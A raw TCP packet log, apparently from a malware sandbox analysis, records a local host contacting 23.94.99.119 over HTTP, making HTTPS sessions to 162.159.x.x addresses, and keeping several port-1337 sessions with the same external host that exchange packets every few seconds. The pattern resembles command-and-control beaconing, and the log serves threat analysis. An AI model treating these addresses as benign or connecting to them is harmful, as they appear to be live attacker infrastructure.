Feb 3, 2023 20:40:00.789030075 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789072990 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789150000 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789187908 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789186954 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.789225101 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789242029 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.789262056 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789297104 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.789299965 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789339066 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789352894 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.789377928 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789418936 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789427996 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.789465904 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789504051 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789514065 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.789541960 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789582014 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789618015 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789633036 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.789658070 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789676905 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.789695978 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789735079 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789753914 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.789773941 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789829016 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.789839983 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789876938 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789913893 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.789935112 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.789953947 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.790004015 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.790018082 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:00.790038109 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:00.790122032 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:01.879111052 CET	49697	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:01.879158974 CET	443	49697	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:01.879287004 CET	49697	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:01.902787924 CET	49697	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:01.902817011 CET	443	49697	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:01.954730988 CET	443	49697	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:01.954868078 CET	49697	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:01.962310076 CET	49697	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:01.962330103 CET	443	49697	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:01.962856054 CET	443	49697	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:02.005445004 CET	49697	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:02.282810926 CET	49697	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:02.282841921 CET	443	49697	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:02.303040028 CET	443	49697	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:02.306221008 CET	49697	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:02.306241989 CET	443	49697	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:02.522317886 CET	443	49697	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:02.522407055 CET	443	49697	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:02.522476912 CET	49697	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:02.538949013 CET	49697	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:04.578033924 CET	80	49696	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:04.578192949 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:06.696743011 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:06.818813086 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:06.818953037 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:09.381306887 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:09.546955109 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:11.900353909 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:12.068588018 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:14.494730949 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:14.661068916 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:17.009135962 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:17.171132088 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:17.895826101 CET	49699	443	192.168.2.4	162.159.135.232
Feb 3, 2023 20:40:17.895920992 CET	443	49699	162.159.135.232	192.168.2.4
Feb 3, 2023 20:40:17.896044016 CET	49699	443	192.168.2.4	162.159.135.232
Feb 3, 2023 20:40:17.905251980 CET	49699	443	192.168.2.4	162.159.135.232
Feb 3, 2023 20:40:17.905327082 CET	443	49699	162.159.135.232	192.168.2.4
Feb 3, 2023 20:40:17.945748091 CET	443	49699	162.159.135.232	192.168.2.4
Feb 3, 2023 20:40:17.945877075 CET	49699	443	192.168.2.4	162.159.135.232
Feb 3, 2023 20:40:17.947945118 CET	49699	443	192.168.2.4	162.159.135.232
Feb 3, 2023 20:40:17.947968960 CET	443	49699	162.159.135.232	192.168.2.4
Feb 3, 2023 20:40:17.948249102 CET	443	49699	162.159.135.232	192.168.2.4
Feb 3, 2023 20:40:18.066184044 CET	49699	443	192.168.2.4	162.159.135.232
Feb 3, 2023 20:40:18.170387983 CET	49699	443	192.168.2.4	162.159.135.232
Feb 3, 2023 20:40:18.170473099 CET	443	49699	162.159.135.232	192.168.2.4
Feb 3, 2023 20:40:18.188844919 CET	443	49699	162.159.135.232	192.168.2.4
Feb 3, 2023 20:40:18.189400911 CET	49699	443	192.168.2.4	162.159.135.232
Feb 3, 2023 20:40:18.189448118 CET	443	49699	162.159.135.232	192.168.2.4
Feb 3, 2023 20:40:18.427016973 CET	443	49699	162.159.135.232	192.168.2.4
Feb 3, 2023 20:40:18.427196980 CET	443	49699	162.159.135.232	192.168.2.4
Feb 3, 2023 20:40:18.427262068 CET	49699	443	192.168.2.4	162.159.135.232
Feb 3, 2023 20:40:18.431121111 CET	49699	443	192.168.2.4	162.159.135.232
Feb 3, 2023 20:40:19.525283098 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:19.706031084 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:20.637844086 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:20.766273975 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:20.766371965 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:22.022252083 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:22.188786983 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:23.310190916 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:23.500308037 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:24.119355917 CET	49701	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:24.119424105 CET	443	49701	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:24.119529009 CET	49701	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:24.131912947 CET	49701	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:24.131963968 CET	443	49701	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:24.174025059 CET	443	49701	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:24.174117088 CET	49701	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:24.182806969 CET	49701	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:24.182833910 CET	443	49701	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:24.183183908 CET	443	49701	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:24.245824099 CET	49701	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:24.515961885 CET	49701	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:24.516007900 CET	443	49701	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:24.533824921 CET	443	49701	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:24.552870989 CET	49701	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:24.552917004 CET	443	49701	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:24.555372953 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:24.730868101 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:24.756876945 CET	443	49701	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:24.756999969 CET	443	49701	162.159.138.232	192.168.2.4
Feb 3, 2023 20:40:24.757138968 CET	49701	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:24.758652925 CET	49701	443	192.168.2.4	162.159.138.232
Feb 3, 2023 20:40:25.816302061 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:25.990067005 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:26.653676987 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:26.773545980 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:26.773719072 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:27.059982061 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:27.231815100 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:28.325824022 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:28.490400076 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:29.304661989 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:29.482729912 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:29.575464010 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:29.739190102 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:30.841231108 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:31.012996912 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:31.809689999 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:31.974111080 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:32.119213104 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:32.289129019 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:33.365581989 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:33.537350893 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:35.020654917 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:35.021531105 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:35.202140093 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:35.213430882 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:35.857732058 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:36.024811983 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:37.513638020 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:37.514456987 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:37.681313038 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:37.685920954 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:38.372776031 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:38.545317888 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:40.014133930 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:40.014839888 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:40.183909893 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:40.186923981 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:40.872982025 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:41.048166990 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:42.529794931 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:42.530491114 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:42.697962999 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:42.700782061 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:43.390443087 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:43.567879915 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:45.045326948 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:45.045744896 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:45.208962917 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:45.213037014 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:45.895123005 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:46.066560030 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:47.568217039 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:47.571046114 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:47.760853052 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:47.761986017 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:48.404742002 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:48.574577093 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:50.061423063 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:50.065315008 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:50.222076893 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:50.244343996 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:50.920870066 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:51.095733881 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:52.640727043 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:52.641457081 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:52.807019949 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:52.810520887 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:53.714668036 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:53.894140959 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:55.140242100 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:55.140881062 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:55.301829100 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:55.321810961 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:56.202682972 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:56.376878023 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:57.655747890 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:57.655997038 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:57.819766998 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:57.823410988 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:40:58.718388081 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:40:58.892656088 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:00.190176010 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:00.190975904 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:00.376020908 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:00.379595041 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:01.234838963 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:01.414527893 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:02.703902006 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:02.704627991 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:02.877823114 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:02.882540941 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:03.735353947 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:03.909941912 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:05.207247972 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:05.208383083 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:05.370479107 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:05.374074936 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:06.250912905 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:06.429235935 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:07.704307079 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:07.704909086 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:07.869071960 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:07.872816086 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:08.772809029 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:08.945432901 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:10.272345066 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:10.273081064 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:10.475770950 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:10.479371071 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:11.540745020 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:11.713841915 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:13.694205046 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:13.695856094 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:13.867882967 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:13.871244907 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:14.251498938 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:14.427961111 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:16.204624891 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:16.205353022 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:16.367038012 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:16.370678902 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:16.766891003 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:16.937719107 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:18.720925093 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:18.721668959 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:18.889075041 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:18.892767906 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:19.267189026 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:19.435935974 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:21.220698118 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:21.221868992 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:21.383033991 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:21.386770010 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:21.769356966 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:21.934453964 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:23.793085098 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:23.793633938 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:23.964257002 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:23.967804909 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:24.283129930 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:24.460506916 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:26.283699036 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:26.284018993 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:26.447455883 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:26.450676918 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:26.800241947 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:26.965584040 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:28.799298048 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:28.799341917 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:28.966332912 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:28.970020056 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:29.315010071 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:29.505108118 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:31.513708115 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:31.513741016 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:31.675271034 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:31.678817987 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:31.837157965 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:32.012237072 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:34.018047094 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:34.018105030 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:34.193392038 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:34.195982933 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:34.330935955 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:34.504443884 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:36.519015074 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:36.519534111 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:36.685156107 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:36.688215017 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:36.847122908 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:37.025716066 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:39.039294004 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:39.042140007 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:39.204283953 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:39.207887888 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:39.362785101 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:39.559408903 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:40.847160101 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:41.189802885 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:41.558572054 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:41.559000015 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:41.721052885 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:41.725096941 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:41.799263000 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:41.878209114 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:42.056173086 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:43.002482891 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:44.051126003 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:44.052449942 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:44.220637083 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:44.224191904 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:44.393878937 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:44.564157009 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:45.408960104 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:46.566057920 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:46.566612959 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:46.736382008 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:46.740041971 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:46.895023108 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:47.064552069 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:49.082516909 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:49.082519054 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:49.247498989 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:49.251029015 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:49.405410051 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:49.571489096 CET	1337	49700	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:50.220993042 CET	49696	80	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:51.592989922 CET	49702	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:51.593775034 CET	49698	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:51.764225006 CET	1337	49702	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:51.767488003 CET	1337	49698	23.94.99.119	192.168.2.4
Feb 3, 2023 20:41:51.919186115 CET	49700	1337	192.168.2.4	23.94.99.119
Feb 3, 2023 20:41:52.092408895 CET	1337	49700	23.94.99.119	192.168.2.4
